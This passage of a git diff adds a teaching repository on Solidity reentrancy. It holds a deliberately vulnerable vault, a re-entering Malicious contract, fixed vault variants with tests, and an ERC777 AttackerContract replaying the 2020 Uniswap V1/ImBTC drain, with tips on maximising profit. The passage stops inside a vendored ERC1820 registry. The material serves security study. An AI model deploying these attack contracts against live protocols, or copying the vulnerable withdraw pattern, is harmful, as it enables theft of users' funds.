+2. **`send`**: Calls `fallback()` or `receive()` with a 2300 gas limit but does not revert on failure.
+3. **`call`**: Allows specifying gas and checking the return value. Be sure to specify gas and check success.
+
+Here’s an example of `SafeVault3.sol`:
+
+```solidity
+pragma solidity ^0.8.7;
+
+import "./IVault.sol";
+
+contract SafeVault3 is IVault {
+    mapping(address => uint256) public balances;
+    
+    function deposit() external override payable {
+        balances[msg.sender] += msg.value;
+    }
+
+    function withdraw() external override {
+        address payable target = payable(msg.sender);
+        (bool success,) = target.call{gas: 2300, value: balances[msg.sender]}("");
+        require(success, "Transfer failed!");
+        balances[msg.sender] = 0;
+
+        // Alternatively, use transfer:
+        // target.transfer(balances[msg.sender]);
+    }
+}
+```
+
+## Instructions
+
+Install dependencies and run tests:
+
+```bash
+npm install
+npx hardhat test
+```
+
+## Test Flow
+
+1. **Setup Signers**: Initialize `vaultOwner`, `maliciousUser`, `user2`, and `user3` as test participants in the `before` hook.
+
+2. **Part 1 - Successful Attack Test**:
+   - Deploy the `BuggyVault` contract (with reentrancy vulnerability) and the `Malicious` contract pointing to the `BuggyVault` address.
+   - Have `maliciousUser`, `user2`, and `user3` deposit funds to the `vault`.
+   - `maliciousUser` initiates a reentrancy attack using the `withdrawFromVault` function.
+   - Verify that `user2` and `user3` are unable to recover their funds due to the attack.
+
+3. **Part 2 - Attack Failure due to Reentrancy Protection**:
+   - Deploy the `SafeVault1` contract (with reentrancy guard) and connect the malicious contract to this vault.
+   - Each user (`maliciousUser`, `user2`, and `user3`) makes a deposit.
+   - Attempt a reentrancy attack through the malicious contract’s `withdrawFromVault` function.
+   - Verify that the malicious user cannot extract their balance, confirming the attack failed.
+
+4. **Part 3 - Attack Failure due to Check-Effect-Interaction Pattern**:
+   - Deploy the `SafeVault2` contract (using "Check-Effect-Interaction" pattern).
+   - Setup and make deposits.
+   - Attempt a reentrancy attack using the malicious contract, and verify that the attack failed, confirming contract and malicious user balances.
+
+5. **Part 4 - Attack Failure due to Restricted `call()` Use**:
+   - Deploy the `SafeVault3` contract (using restrictive `call()`).
+   - Setup and make deposits.
+   - Attempt a reentrancy attack, expecting the reentrancy call to fail.
+
+These tests effectively detect the reentrancy vulnerability in `BuggyVault` and confirm the efficacy of the defensive measures.
\ No newline at end of file
diff --git a/security/1-reentrancy/theDAO/contracts/BuggyVault.sol b/security/1-reentrancy/theDAO/contracts/BuggyVault.sol
new file mode 100644
index 000000000..2ee341c6b
--- /dev/null
+++ b/security/1-reentrancy/theDAO/contracts/BuggyVault.sol
@@ -0,0 +1,22 @@
+// SPDX-License-Identifier: MIT
+pragma solidity ^0.8.7;
+
+import "./IVault.sol";
+import "hardhat/console.sol";
+
+contract BuggyVault is IVault {
+    mapping(address => uint256) public balances;
+
+    function deposit() external override payable {
+        balances[msg.sender] += msg.value;
+    }
+
+    function withdraw() external override {
+        address payable target = payable(msg.sender);
+        
+        (bool success,) = target.call{value:balances[msg.sender]}("");
+        console.log(success);
+
+        balances[msg.sender] = 0;        
+    }
+}
diff --git a/security/1-reentrancy/theDAO/contracts/IVault.sol b/security/1-reentrancy/theDAO/contracts/IVault.sol
new file mode 100644
index 000000000..59057f7c2
--- /dev/null
+++ b/security/1-reentrancy/theDAO/contracts/IVault.sol
@@ -0,0 +1,7 @@
+// SPDX-License-Identifier: MIT
+pragma solidity ^0.8.7;
+
+interface IVault {
+    function deposit() external payable;
+    function withdraw() external;
+}
diff --git a/security/1-reentrancy/theDAO/contracts/Malicious.sol b/security/1-reentrancy/theDAO/contracts/Malicious.sol
new file mode 100644
index 000000000..95d048aac
--- /dev/null
+++ b/security/1-reentrancy/theDAO/contracts/Malicious.sol
@@ -0,0 +1,25 @@
+// SPDX-License-Identifier: MIT
+pragma solidity ^0.8.7;
+
+import "./IVault.sol";
+import "hardhat/console.sol";
+
+contract Malicious {
+    IVault public vault;
+
+    constructor(IVault _vault) {
+        vault = _vault;
+    }
+
+    function addDeposit() external payable {
+        vault.deposit{value: msg.value}();
+    }
+
+    function withdrawFromVault() external {
+        vault.withdraw();
+    }
+
+    fallback() external payable {
+        vault.withdraw();
+    }
+}
diff --git a/security/1-reentrancy/theDAO/contracts/SafeVault1.sol b/security/1-reentrancy/theDAO/contracts/SafeVault1.sol
new file mode 100644
index 000000000..156ba7901
--- /dev/null
+++ b/security/1-reentrancy/theDAO/contracts/SafeVault1.sol
@@ -0,0 +1,21 @@
+// SPDX-License-Identifier: MIT
+pragma solidity ^0.8.7;
+
+import "./IVault.sol";
+import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
+import "hardhat/console.sol";
+
+contract SafeVault1 is IVault, ReentrancyGuard {
+    mapping(address => uint256) public balances;
+    
+    function deposit() external override payable {
+        balances[msg.sender] += msg.value;
+    }
+
+    function withdraw() external override nonReentrant {
+        address payable target = payable(msg.sender);
+        (bool success, ) = target.call{value: balances[msg.sender]}("");
+        require(success, "Transfer failed");
+        balances[msg.sender] = 0;
+    }
+}
diff --git a/security/1-reentrancy/theDAO/contracts/SafeVault2.sol b/security/1-reentrancy/theDAO/contracts/SafeVault2.sol
new file mode 100644
index 000000000..9a382285b
--- /dev/null
+++ b/security/1-reentrancy/theDAO/contracts/SafeVault2.sol
@@ -0,0 +1,27 @@
+// SPDX-License-Identifier: MIT
+pragma solidity ^0.8.7;
+
+import "./IVault.sol";
+import "hardhat/console.sol";
+
+contract SafeVault2 is IVault {
+    mapping(address => uint256) public balances;
+    
+    function deposit() external override payable {
+        balances[msg.sender] += msg.value;
+    }
+
+    function withdraw() external override {
+        // Checks
+        require(balances[msg.sender] > 0, "Insufficient balance");
+
+        // Effects
+        uint256 amount = balances[msg.sender];
+        balances[msg.sender] = 0;
+
+        // Interact
+        address payable target = payable(msg.sender);
+        (bool success, ) = target.call{value: amount}("");
+        require(success, "Transfer failed");
+    }
+}
diff --git a/security/1-reentrancy/theDAO/contracts/SafeVault3.sol b/security/1-reentrancy/theDAO/contracts/SafeVault3.sol
new file mode 100644
index 000000000..56f5103ef
--- /dev/null
+++ b/security/1-reentrancy/theDAO/contracts/SafeVault3.sol
@@ -0,0 +1,27 @@
+// SPDX-License-Identifier: MIT
+pragma solidity ^0.8.7;
+
+import "./IVault.sol";
+
+contract SafeVault3 is IVault {
+    mapping(address => uint256) public balances;
+    
+    function deposit() external override payable {
+        balances[msg.sender] += msg.value;
+    }
+
+    function withdraw() external override {
+        address payable target = payable(msg.sender);
+        uint256 amount = balances[msg.sender];
+        
+        // Interact
+        (bool success, ) = target.call{gas: 2300, value: amount}("");
+        require(success, "Transfer failed");
+
+        // Effects
+        balances[msg.sender] = 0;
+
+        // Alternative using transfer:
+        // target.transfer(amount);
+    }
+}
diff --git a/security/1-reentrancy/theDAO/hardhat.config.js b/security/1-reentrancy/theDAO/hardhat.config.js
new file mode 100644
index 000000000..f7b27d3f3
--- /dev/null
+++ b/security/1-reentrancy/theDAO/hardhat.config.js
@@ -0,0 +1,30 @@
+require("@nomiclabs/hardhat-waffle");
+
+// This is a sample Hardhat task. To learn how to create your own go to
+// https://hardhat.org/guides/create-task.html
+task("accounts", "Prints the list of accounts", async (taskArgs, hre) => {
+  const accounts = await hre.ethers.getSigners();
+
+  for (const account of accounts) {
+    console.log(account.address);
+  }
+});
+
+// You need to export an object to set up your config
+// Go to https://hardhat.org/config/ to learn more
+
+/**
+ * @type import('hardhat/config').HardhatUserConfig
+ */
+module.exports = {
+  solidity: "0.8.7",
+  networks:{
+    hardhat:{
+      
+    },
+    localhost: {
+      url: "http://127.0.0.1:8545",
+      network_id: 50 
+    },
+  }
+};
diff --git a/security/1-reentrancy/theDAO/package.json b/security/1-reentrancy/theDAO/package.json
new file mode 100644
index 000000000..0a0d270ee
--- /dev/null
+++ b/security/1-reentrancy/theDAO/package.json
@@ -0,0 +1,22 @@
+{
+  "name": "reentrancy",
+  "version": "1.0.0",
+  "description": "Reentrancy attack can lead to great loss.",
+  "main": "index.js",
+  "scripts": {
+    "test": "echo \"Error: no test specified\" && exit 1"
+  },
+  "author": "",
+  "license": "ISC",
+  "dependencies": {
+    "hardhat": "^2.9.9"
+  },
+  "devDependencies": {
+    "@nomiclabs/hardhat-ethers": "^2.0.0",
+    "@nomiclabs/hardhat-waffle": "^2.0.3",
+    "@openzeppelin/contracts": "^4.6.0",
+    "chai": "^4.3.6",
+    "ethereum-waffle": "^3.2.0",
+    "ethers": "^5.0.0"
+  }
+}
diff --git a/security/1-reentrancy/theDAO/test/tests.js b/security/1-reentrancy/theDAO/test/tests.js
new file mode 100644
index 000000000..720be5d11
--- /dev/null
+++ b/security/1-reentrancy/theDAO/test/tests.js
@@ -0,0 +1,123 @@
+const {expect} = require("chai");
+const {ethers, network, waffle} = require("hardhat");
+require("@nomiclabs/hardhat-waffle");
+const provider = waffle.provider;
+
+
+describe("reentrancy attack", function() {
+    var vaultOwner, maliciousUser, user2,user3;
+    before(async function(){
+        [vaultOwner, user1, user2,user3] = await ethers.getSigners();
+    });
+ 
+    it("1 attack success", async function(){
+        //1. Set up vault
+        var Vault = await ethers.getContractFactory("BuggyVault", vaultOwner);
+        var vault = await Vault.deploy();
+        await vault.deployed();
+        console.log("Buggy vault deployed to", vault.address);
+        //2. Set up malicious contract
+        var Malicious = await ethers.getContractFactory("Malicious", user1);
+        var malicious = await Malicious.deploy(vault.address);
+        await malicious.deployed();
+        console.log("Malicious contract deployed to", malicious.address);
+        //3. Lots of users including malicious one, send ethers to vault
+        var tx1 = await malicious.connect(user1).addDeposit({value: 10000});
+        var tx2 = await vault.connect(user2).deposit({value:10000});
+        var tx3 = await vault.connect(user3).deposit({value:10000});
+        await tx1.wait();
+        await tx2.wait();
+        await tx3.wait();
+
+        console.log("user1(malicious) has balance in vault:", (await vault.balances(malicious.address)).toNumber());
+        console.log("user2 has balance in vault:", (await vault.balances(user2.address)).toNumber());
+        console.log("user1 has balance in vault:", (await vault.balances(user3.address)).toNumber());
+
+        //4. Malicious contract reentrant
+        // await expect(malicious.connect(user1).withdrawFromVault()).to.be.reverted;
+        await (await malicious.connect(user1).withdrawFromVault()).wait();
+        //5. Check money
+        console.log("user1(malicious)becomes rich:", (await provider.getBalance(malicious.address)).toNumber());
+        await (await vault.connect(user2).withdraw()).wait();
+        await (await vault.connect(user3).withdraw()).wait();
+        console.log("user2 and user3 would not take their money any more!");
+    });
+
+    it("2 attack failed due to reentrancy", async function(){
+        //1. Set up vault
+        var Vault = await ethers.getContractFactory("SafeVault1", vaultOwner);
+        var vault = await Vault.deploy();
+        await vault.deployed();
+
+        //2. Set up malicious contract
+        var Malicious = await ethers.getContractFactory("Malicious", user1);
+        var malicious = await Malicious.deploy(vault.address);
+        await malicious.deployed();
+
+        //3. Lots of users including malicious one, send ethers to vault
+        var tx1 = await malicious.connect(user1).addDeposit({value: 10000});
+        var tx2 = await vault.connect(user2).deposit({value:10000});
+        var tx3 = await vault.connect(user3).deposit({value:10000});
+        await tx1.wait();
+        await tx2.wait();
+        await tx3.wait();
+
+        //4. Malicious contract reentrant
+        await (await malicious.connect(user1).withdrawFromVault()).wait();
+        expect((await vault.balances(malicious.address))).equal(0);
+        expect((await provider.getBalance(vault.address))).equal(30000);
+        console.log("user1(malicious) failed to withdraw because of reentrancy guard!");
+    });
+
+    it("3 attack failed due to check-effects-interact", async function(){
+        //1. Set up vault
+        var Vault = await ethers.getContractFactory("SafeVault2", vaultOwner);
+        var vault = await Vault.deploy();
+        await vault.deployed();
+
+        //2. Set up malicious contract
+        var Malicious = await ethers.getContractFactory("Malicious", user1);
+        var malicious = await Malicious.deploy(vault.address);
+        await malicious.deployed();
+
+        //3. Lots of users including malicious one, send ethers to vault
+        var tx1 = await malicious.connect(user1).addDeposit({value: 10000});
+        var tx2 = await vault.connect(user2).deposit({value:10000});
+        var tx3 = await vault.connect(user3).deposit({value:10000});
+        await tx1.wait();
+        await tx2.wait();
+        await tx3.wait();
+
+        //4. Malicious contract reentrant (would not panic because call does not revert by default)
+        await (await malicious.connect(user1).withdrawFromVault()).wait();
+        expect((await vault.balances(malicious.address))).equal(0);
+        expect((await provider.getBalance(vault.address))).equal(30000);
+        console.log("user1(malicious) failed to withdraw because of check-effects-interact!");
+    });
+
+    it("4 attack failed due to careful use of \'call()\'", async function(){
+        //1. Set up vault
+        var Vault = await ethers.getContractFactory("SafeVault3", vaultOwner);
+        var vault = await Vault.deploy();
+        await vault.deployed();
+
+        //2. Set up malicious contract
+        var Malicious = await ethers.getContractFactory("Malicious", user1);
+        var malicious = await Malicious.deploy(vault.address);
+        await malicious.deployed();
+
+        //3. Lots of users including malicious one, send ethers to vault
+        var tx1 = await malicious.connect(user1).addDeposit({value: 10000});
+        var tx2 = await vault.connect(user2).deposit({value:10000});
+        var tx3 = await vault.connect(user3).deposit({value:10000});
+        await tx1.wait();
+        await tx2.wait();
+        await tx3.wait();
+
+        //4. Malicious contract reentrant
+         await expect(malicious.connect(user1).withdrawFromVault()).to.be.reverted;
+         console.log("user1(malicious) failed to withdraw because of careful use of \'call()\'!");
+    });
+});
+
+
diff --git a/security/1-reentrancy/uniAndImbtc/.gitignore b/security/1-reentrancy/uniAndImbtc/.gitignore
new file mode 100644
index 000000000..36077f288
--- /dev/null
+++ b/security/1-reentrancy/uniAndImbtc/.gitignore
@@ -0,0 +1,9 @@
+node_modules
+.env
+coverage
+coverage.json
+typechain
+
+#Hardhat files
+cache
+artifacts
diff --git a/security/1-reentrancy/uniAndImbtc/1.jpg b/security/1-reentrancy/uniAndImbtc/1.jpg
new file mode 100644
index 000000000..7659c4935
Binary files /dev/null and b/security/1-reentrancy/uniAndImbtc/1.jpg differ
diff --git a/security/1-reentrancy/uniAndImbtc/README.md b/security/1-reentrancy/uniAndImbtc/README.md
new file mode 100644
index 000000000..23ad0dd60
--- /dev/null
+++ b/security/1-reentrancy/uniAndImbtc/README.md
@@ -0,0 +1,212 @@
+# Background
+In 2020 April 18th, Uniswap(V1) is drained by reentrancy attack. This exchange hosts an ImBTC-Eth pair where ImBTC is an ERC777 token.
+
+Here I present a demo illustrating how this attack is engaged.
+
+# How to use
+```
+npm install
+npx hardhat test
+```
+
+# Explanation
+It is possible to conduct a reentrancy attack on an UniswapV1 exchange hosting ERC777-Eth pair.To do this , create an attacker contract contains the following methods:
+
+- prepare: approve attacker to operate its ERC777 assets && adding hooks on ERC1820
+- trigger: a payable function that :
+  - receives some ether
+  - buy  ERC777 through uniswap
+  - sell a fraction of ERC777  to ether through uniswap exchange that will transfer ether to attacker contract and take ERC777 from attacker contract to uniswap exhange
+- tokenToSend: This is the receiver function called by ERC777. It will sell a fraction of ERC777 to ether through uniswap exchange. 
+- withdraw: called to claim the profits.
+
+Now, when the contract is "triggered", here is what happens:
+
+- 1) The attack contract receives ether to buy ERC777 token by calling "uni.ethToTokenInput"
+- 2) The attack contract tried to exchange part of its ERC777 by calling "uni.tokenToEthInput"
+- 3) The uniswap exchange compute the eth to buy through "getInputPrice"
+- 4) The uniswap exchange transfer that eth to attack contract.
+- 5) Before uniswap exchange modify balances of ERC777, ERC777 notify the token sender, who is attack contract in this case, by calling the hook function "tokenToSend"
+- 6) The attack contract reenter into "tokenToEthInput" of uniswap exchange in "tokenToSend"
+- 7) Step 3~6 is repeated, causing many micro swaps, untils it reaches the maximum count of reentrancies.
+
+# Deep dive
+## Basics of uniswap: constant K principle
+To deeper understand how the attack works, let's recap the basics of uniswap.
+
+In theory, when we exchange ERC777 for ether, the amount of ether bought can be conducted following the rule of constant K:
+
+$$
+\left ( X_{ImBTC} + ΔX_{ImBTC} \right ) \left (Y_{Eth} - ΔY_{Eth} \right) = X_{ImBTC}Y_{Eth}
+$$
+
+So
+
+$$
+ΔY_{Eth} = \frac{ΔX_{ImBTC}\times Y_{Eth}}{X_{ImBTC} + ΔX_{ImBTC}} 
+$$
+
+And here is the code:
+
+``` solidity
+    //Note: To illustrate clearly I've ignore the fee parts
+    function getInputPrice(uint256 input_amount, uint256 input_reserve, uint256 output_reserve) internal pure returns(uint256){
+        input_amount = input_amount;
+        uint256 nominator = input_amount * output_reserve;
+        uint256 denominator = input_amount + input_reserve;
+        return nominator / denominator;
+    }
+
+```
+## Basics of uniswap: process of swap
+
+A "swap" process basiclly comprises several steps:
+
+- 1) Get Eth reserve 
+- 2) Get ImBTC reserve
+- 3) Compute the eth to bought following "Constant K principle"
+- 4) Modify Eth reserve
+- 5) Modify ImBTC reserve
+
+``` solidity
+    function tokenToEthInput(uint256 token_sold) external returns(uint256){
+        uint256 eth_reserve = address(this).balance;
+        uint256 token_reserve = erc20.balanceOf(address(this));
+        uint256 eth_bought = getInputPrice(token_sold, token_reserve, eth_reserve);
+        payable(msg.sender).transfer(eth_bought);
+        require(erc20.transferFrom(msg.sender, address(this), token_sold), "UniV1: Transfer failed");
+        
+        return eth_bought;
+    }
+```
+
+Specially, a swap process could split into arbitrary sub swap process, yielding the same final result.
+
+## Reentrancy
+
+ERC777 allows for notifying the sender before the balance if modified, which compromises the "Check-Effects-Interaction" pattern:
+
+``` solidity
+       _callTokensToSend(operator, from, to, amount, userData, operatorData);
+
+        _move(operator, from, to, amount, userData, operatorData);
+
+        _callTokensReceived(operator, from, to, amount, userData, operatorData, requireReceptionAck);
+```
+
+Hence, a reentrancy is formed, causing many micro swaps:
+
+![](1.jpg)
+
+As the reentrancy compromises the consitency of swap process, each time a micro swap is executed without change of ImBTC reserve, causing a little bit more eth is swapped out. 
+
+More formally, under normal circumstance, after a miscro swap process, ImBTC pool is increased while  the Eth pool is decreased, making Eth more valuable for next swap; However, under this reentrancy circumstance, after a micro swap process, ImBTC pool is NOT increased though the Eth pool is decreased, making Eth NOT that valueble for next swap. 
+
+test/sample-test.js gives a comparison of swap process  splitted into 10 micro swaps under different scenarios .We can see that after the first swap, the swap from reentrancy could swap a little bit more ETH than normal swaps:
+
+
+``` plain python
+## Normal cases
+
+[Before swap]poolX: 1000.0
+[Before  swap]poolY: 1000.0
+xSold: 10.0
+splits:  10
+yBoughts:9.900990099009900984
+[yBought] 0.999000999000999
+[yBought] 0.997006985030937126
+[yBought] 0.995018935210337052
+[yBought] 0.993036825777647138
+[yBought] 0.991060633089532417
+[yBought] 0.98909033362016953
+[yBought] 0.987125903960546551
+[yBought] 0.985167320817767689
+[yBought] 0.983214561014362798
+[yBought] 0.981267601487601683
+[After swap]poolX: 1010.0
+[After swap]poolY: 990.099009900990099016
+
+## Under attack cases
+
+[Before swap]poolX: 1000.0
+[Before  swap]poolY: 1000.0
+xSold: 10.0
+splits:  10
+yBoughts:9.945219286997006409
+[yBought] 0.999000999000999
+[yBought] 0.998002996004994006
+[yBought] 0.997005990014979027
+[yBought] 0.996009980034944083
+[yBought] 0.995014965069874209
+[yBought] 0.994020944125748461
+[yBought] 0.993027916209538922
+[yBought] 0.992035880329209712
+[yBought] 0.991044835493715996
+[yBought] 0.990054780713002993
+[After swap]poolX: 1010.0
+[After swap]poolY: 990.054780713002993591
+```
+
+We can see from above that under reentrancy attack, user could get 9.945219286997006409 eth rather than 9.900990099009900984, with each micro swap buying  a little bit more than normal cases.
+
+Please refer to sample-test.js for more details.
+
+## How to avoid
+Uniswap V2 adds a reemtrancy lock to avoid this kind of attack:
+
+``` solidity
+    uint private unlocked = 1;
+    modifier lock() {
+        require(unlocked == 1, 'UniswapV2: LOCKED');
+        unlocked = 0;
+        _;
+        unlocked = 1;
+    }
+
+    function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external lock {
+        //...
+    }
+```
+
+You may think that we can also change the order of transfers, making ImBTC transfers before Eth transfer:
+
+``` solidity
+    function tokenToEthInput(uint256 token_sold) external returns(uint256){
+        uint256 eth_reserve = address(this).balance;
+        uint256 token_reserve = erc20.balanceOf(address(this));
+        uint256 eth_bought = getInputPrice(token_sold, token_reserve, eth_reserve);
+        
+        require(erc20.transferFrom(msg.sender, address(this), token_sold), "UniV1: Transfer failed");
+        payable(msg.sender).transfer(eth_bought);
+        return eth_bought;
+    }
+``` 
+This is not acceptable, as each swap by reentrancy is executed without any changes to either ETh reserve or ImBTC reserve, causing it more vunerable to reentrancy attack. You could modify UniV1Simple.sol to verify this conclusion.
+
+# More
+In sample-test.js, you can try to investigate how to maximize the profits of attacks by different parameters. As in my experiment,  it basiclly shows that:
+
+- More micro swaps leads to more profits.
+- Bigger input amount  leads to more profits.
+- The ratio between pool affects the profits.
+- ...
+
+# Reference
+https://etherscan.io/tx/0x32c83905db61047834f29385ff8ce8cb6f3d24f97e24e6101d8301619efee96e
+
+https://blockcast.it/2021/08/31/amber-group-reentrancy-attack-explained/
+
+https://zhuanlan.zhihu.com/p/404184586
+
+https://defirate.com/news
+
+https://github.com/OpenZeppelin/exploit-uniswap#exploit-details
+
+https://medium.com/imtoken/about-recent-uniswap-and-lendf-me-reentrancy-attacks-7cebe834cb3
+
+https://paper.seebug.org/1182/
+
+https://medium.com/imtoken/about-recent-uniswap-and-lendf-me-reentrancy-attacks-7cebe834cb3
+
+
+
diff --git a/security/1-reentrancy/uniAndImbtc/contracts/AttackerContract.sol b/security/1-reentrancy/uniAndImbtc/contracts/AttackerContract.sol
new file mode 100644
index 000000000..dde60e52d
--- /dev/null
+++ b/security/1-reentrancy/uniAndImbtc/contracts/AttackerContract.sol
@@ -0,0 +1,72 @@
+pragma solidity ^0.8.7;
+
+import "@openzeppelin/contracts/access/Ownable.sol";
+import "@openzeppelin/contracts/utils/introspection/ERC1820Implementer.sol";
+import "@openzeppelin/contracts/utils/introspection/IERC1820Registry.sol";
+import "@openzeppelin/contracts/token/ERC777/IERC777Sender.sol";
+import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
+import "hardhat/console.sol";
+
+contract AttackerContract is ERC1820Implementer, IERC777Sender, Ownable{    
+    IUniV1 private uni; 
+    IERC20 private erc777;
+    address erc1820;
+    uint256 private callCount;
+    uint256 private batch;
+    uint256 private constant CALLCOUNT_LIMIT = 32;
+
+    constructor(address _uni, address _erc777, address _erc1820) {
+        uni = IUniV1(_uni);
+        erc777 = IERC20(_erc777);
+        erc1820 = _erc1820;
+    }
+    
+    function prepare() external onlyOwner{
+        require(erc777.approve(address(uni), type(uint256).max), "AttackerContract: approve failed");
+        bytes32 interfaceId = keccak256("ERC777TokensSender");
+        IERC1820Registry(erc1820).setInterfaceImplementer(address(this), interfaceId, address(this));
+        _registerInterfaceForAddress(interfaceId ,address(this));
+    }
+
+    function trigger() external payable onlyOwner {
+        callCount = 1;
+        
+        uni.ethToTokenInput{value: msg.value}(0);
+        uint256 balance = erc777.balanceOf(address(this));
+        uni.tokenToEthInput(balance / CALLCOUNT_LIMIT);
+
+    }
+
+    function withdraw() external onlyOwner{
+        payable(msg.sender).transfer(address(this).balance);
+        erc777.transfer(msg.sender, erc777.balanceOf(address(this)));
+    }
+
+    function tokensToSend(
+        address ,
+        address ,
+        address ,
+        uint256 ,
+        bytes calldata ,
+        bytes calldata 
+    ) external override{
+        require(msg.sender == address(erc777), "Attacker: Not uni");
+        if (callCount < CALLCOUNT_LIMIT) {
+            callCount++;
+            uni.tokenToEthInput(erc777.balanceOf(address(this)) / CALLCOUNT_LIMIT);
+        }
+    }
+
+    receive() external payable{
+
+    }
+
+}
+
+interface IUniV1 {
+    
+    function ethToTokenInput(uint256 min_tokens) external payable returns (uint256);
+
+    function tokenToEthInput(uint256 token_sold) external payable returns(uint256);
+
+}
\ No newline at end of file
diff --git a/security/1-reentrancy/uniAndImbtc/contracts/ERC1820.sol b/security/1-reentrancy/uniAndImbtc/contracts/ERC1820.sol
new file mode 100644
index 000000000..89c6b9ddc
--- /dev/null
+++ b/security/1-reentrancy/uniAndImbtc/contracts/ERC1820.sol
@@ -0,0 +1,217 @@
+/* ERC1820 Pseudo-introspection Registry Contract
+ * This standard defines a universal registry smart contract where any address (contract or regular account) can
+ * register which interface it supports and which smart contract is responsible for its implementation.
+ *
+ * Written in 2019 by Jordi Baylina and Jacques Dafflon
+ *
+ * To the extent possible under law, the author(s) have dedicated all copyright and related and neighboring rights to
+ * this software to the public domain worldwide. This software is distributed without any warranty.
+ *
+ * You should have received a copy of the CC0 Public Domain Dedication along with this software. If not, see
+ * <http://creativecommons.org/publicdomain/zero/1.0/>.
+ *
+ *    ███████╗██████╗  ██████╗ ██╗ █████╗ ██████╗  ██████╗
+ *    ██╔════╝██╔══██╗██╔════╝███║██╔══██╗╚════██╗██╔═████╗
+ *    █████╗  ██████╔╝██║     ╚██║╚█████╔╝ █████╔╝██║██╔██║
+ *    ██╔══╝  ██╔══██╗██║      ██║██╔══██╗██╔═══╝ ████╔╝██║
+ *    ███████╗██║  ██║╚██████╗ ██║╚█████╔╝███████╗╚██████╔╝
+ *    ╚══════╝╚═╝  ╚═╝ ╚═════╝ ╚═╝ ╚════╝ ╚══════╝ ╚═════╝
+ *
+ *    ██████╗ ███████╗ ██████╗ ██╗███████╗████████╗██████╗ ██╗   ██╗
+ *    ██╔══██╗██╔════╝██╔════╝ ██║██╔════╝╚══██╔══╝██╔══██╗╚██╗ ██╔╝
+ *    ██████╔╝█████╗  ██║  ███╗██║███████╗   ██║   ██████╔╝ ╚████╔╝
+ *    ██╔══██╗██╔══╝  ██║   ██║██║╚════██║   ██║   ██╔══██╗  ╚██╔╝
+ *    ██║  ██║███████╗╚██████╔╝██║███████║   ██║   ██║  ██║   ██║
+ *    ╚═╝  ╚═╝╚══════╝ ╚═════╝ ╚═╝╚══════╝   ╚═╝   ╚═╝  ╚═╝   ╚═╝
+ *
+ */
+pragma solidity 0.5.3;
+// IV is value needed to have a vanity address starting with '0x1820'.
+// IV: 53759
+
+/// @dev The interface a contract MUST implement if it is the implementer of
+/// some (other) interface for any address other than itself.
+interface ERC1820ImplementerInterface {
+    /// @notice Indicates whether the contract implements the interface 'interfaceHash' for the address 'addr' or not.
+    /// @param interfaceHash keccak256 hash of the name of the interface
+    /// @param addr Address for which the contract will implement the interface
+    /// @return ERC1820_ACCEPT_MAGIC only if the contract implements 'interfaceHash' for the address 'addr'.
+    function canImplementInterfaceForAddress(bytes32 interfaceHash, address addr) external view returns(bytes32);
+}
+
+
+/// @title ERC1820 Pseudo-introspection Registry Contract
+/// @author Jordi Baylina and Jacques Dafflon
+/// @notice This contract is the official implementation of the ERC1820 Registry.
+/// @notice For more details, see https://eips.ethereum.org/EIPS/eip-1820
+contract ERC1820Registry {
+    /// @notice ERC165 Invalid ID.
+    bytes4 constant internal INVALID_ID = 0xffffffff;
+    /// @notice Method ID for the ERC165 supportsInterface method (= `bytes4(keccak256('supportsInterface(bytes4)'))`).
+    bytes4 constant internal ERC165ID = 0x01ffc9a7;
+    /// @notice Magic value which is returned if a contract implements an interface on behalf of some other address.
+    bytes32 constant internal ERC1820_ACCEPT_MAGIC = keccak256(abi.encodePacked("ERC1820_ACCEPT_MAGIC"));
+
+    /// @notice mapping from addresses and interface hashes to their implementers.
+    mapping(address => mapping(bytes32 => address)) internal interfaces;
+    /// @notice mapping from addresses to their manager.
+    mapping(address => address) internal managers;
+    /// @notice flag for each address and erc165 interface to indicate if it is cached.
+    mapping(address => mapping(bytes4 => bool)) internal erc165Cached;
+
+    /// @notice Indicates a contract is the 'implementer' of 'interfaceHash' for 'addr'.
+    event InterfaceImplementerSet(address indexed addr, bytes32 indexed interfaceHash, address indexed implementer);
+    /// @notice Indicates 'newManager' is the address of the new manager for 'addr'.
+    event ManagerChanged(address indexed addr, address indexed newManager);
+
+    /// @notice Query if an address implements an interface and through which contract.
+    /// @param _addr Address being queried for the implementer of an interface.
+    /// (If '_addr' is the zero address then 'msg.sender' is assumed.)
+    /// @param _interfaceHash Keccak256 hash of the name of the interface as a string.
+    /// E.g., 'web3.utils.keccak256("ERC777TokensRecipient")' for the 'ERC777TokensRecipient' interface.
+    /// @return The address of the contract which implements the interface '_interfaceHash' for '_addr'
+    /// or '0' if '_addr' did not register an implementer for this interface.
+    function getInterfaceImplementer(address _addr, bytes32 _interfaceHash) external view returns (address) {
+        address addr = _addr == address(0) ? msg.sender : _addr;
+        if (isERC165Interface(_interfaceHash)) {
+            bytes4 erc165InterfaceHash = bytes4(_interfaceHash);
+            return implementsERC165Interface(addr, erc165InterfaceHash) ? addr : address(0);
+        }
+        return interfaces[addr][_interfaceHash];
+    }
+
+    /// @notice Sets the contract which implements a specific interface for an address.
+    /// Only the manager defined for that address can set it.
+    /// (Each address is the manager for itself until it sets a new manager.)
+    /// @param _addr Address for which to set the interface.
+    /// (If '_addr' is the zero address then 'msg.sender' is assumed.)
+    /// @param _interfaceHash Keccak256 hash of the name of the interface as a string.
+    /// E.g., 'web3.utils.keccak256("ERC777TokensRecipient")' for the 'ERC777TokensRecipient' interface.
+    /// @param _implementer Contract address implementing '_interfaceHash' for '_addr'.
+    function setInterfaceImplementer(address _addr, bytes32 _interfaceHash, address _implementer) external {
+        address addr = _addr == address(0) ? msg.sender : _addr;
+        require(getManager(addr) == msg.sender, "Not the manager");
+
+        require(!isERC165Interface(_interfaceHash), "Must not be an ERC165 hash");
+        if (_implementer != address(0) && _implementer != msg.sender) {
+            require(
+                ERC1820ImplementerInterface(_implementer)
+                    .canImplementInterfaceForAddress(_interfaceHash, addr) == ERC1820_ACCEPT_MAGIC,
+                "Does not implement the interface"
+            );
+        }
+        interfaces[addr][_interfaceHash] = _implementer;
+        emit InterfaceImplementerSet(addr, _interfaceHash, _implementer);
+    }
+
+    /// @notice Sets '_newManager' as manager for '_addr'.
+    /// The new manager will be able to call 'setInterfaceImplementer' for '_addr'.
+    /// @param _addr Address for which to set the new manager.
+    /// @param _newManager Address of the new manager for 'addr'. (Pass '0x0' to reset the manager to '_addr'.)
+    function setManager(address _addr, address _newManager) external {
+        require(getManager(_addr) == msg.sender, "Not the manager");
+        managers[_addr] = _newManager == _addr ? address(0) : _newManager;
